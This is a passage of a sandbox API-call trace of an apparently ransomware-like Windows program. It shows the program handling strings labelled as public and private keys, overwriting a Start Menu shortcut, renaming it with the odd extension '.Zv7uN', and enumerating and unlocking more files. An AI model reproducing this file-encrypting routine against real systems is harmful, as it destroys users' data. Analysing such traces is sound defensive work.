CosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0129.587] GetCurrentThreadId () returned 0xa30 [0129.587] GetCurrentThreadId () returned 0xa30 [0129.587] GetCurrentThreadId () returned 0xa30 [0129.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.588] GetCurrentThreadId () returned 0xa30 [0129.588] GetCurrentThreadId () returned 0xa30 [0129.588] GetCurrentThreadId () returned 0xa30 [0129.588] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.588] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0129.588] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.588] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x8dd [0129.589] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.589] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x8dd, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x8dd, lpOverlapped=0x0) returned 1 [0129.592] CloseHandle (hObject=0x1ec) returned 1 [0129.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.595] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x8dd, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x8dd, lpOverlapped=0x0) returned 1 [0129.597] CloseHandle (hObject=0x1ec) returned 1 [0129.597] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk.zv7un")) returned 1 [0129.598] GetCurrentThreadId () returned 0xa30 [0129.598] GetCurrentThreadId () returned 0xa30 [0129.598] GetCurrentThreadId () returned 0xa30 [0129.599] GetCurrentThreadId () returned 0xa30 [0129.599] GetCurrentThreadId () returned 0xa30 [0129.599] GetCurrentThreadId () returned 0xa30 [0129.599] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Java", cAlternateFileName="")) returned 1 [0129.599] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0129.599] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0129.599] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.599] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.599] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541)) returned 1 [0129.600] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk")) returned 0x20 [0129.600] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk", dwFileAttributes=0x80) returned 1 [0129.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.603] GetCurrentThreadId () returned 0xa30 [0129.603] GetCurrentThreadId () returned 0xa30 [0129.603] GetCurrentThreadId () returned 0xa30 [0129.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 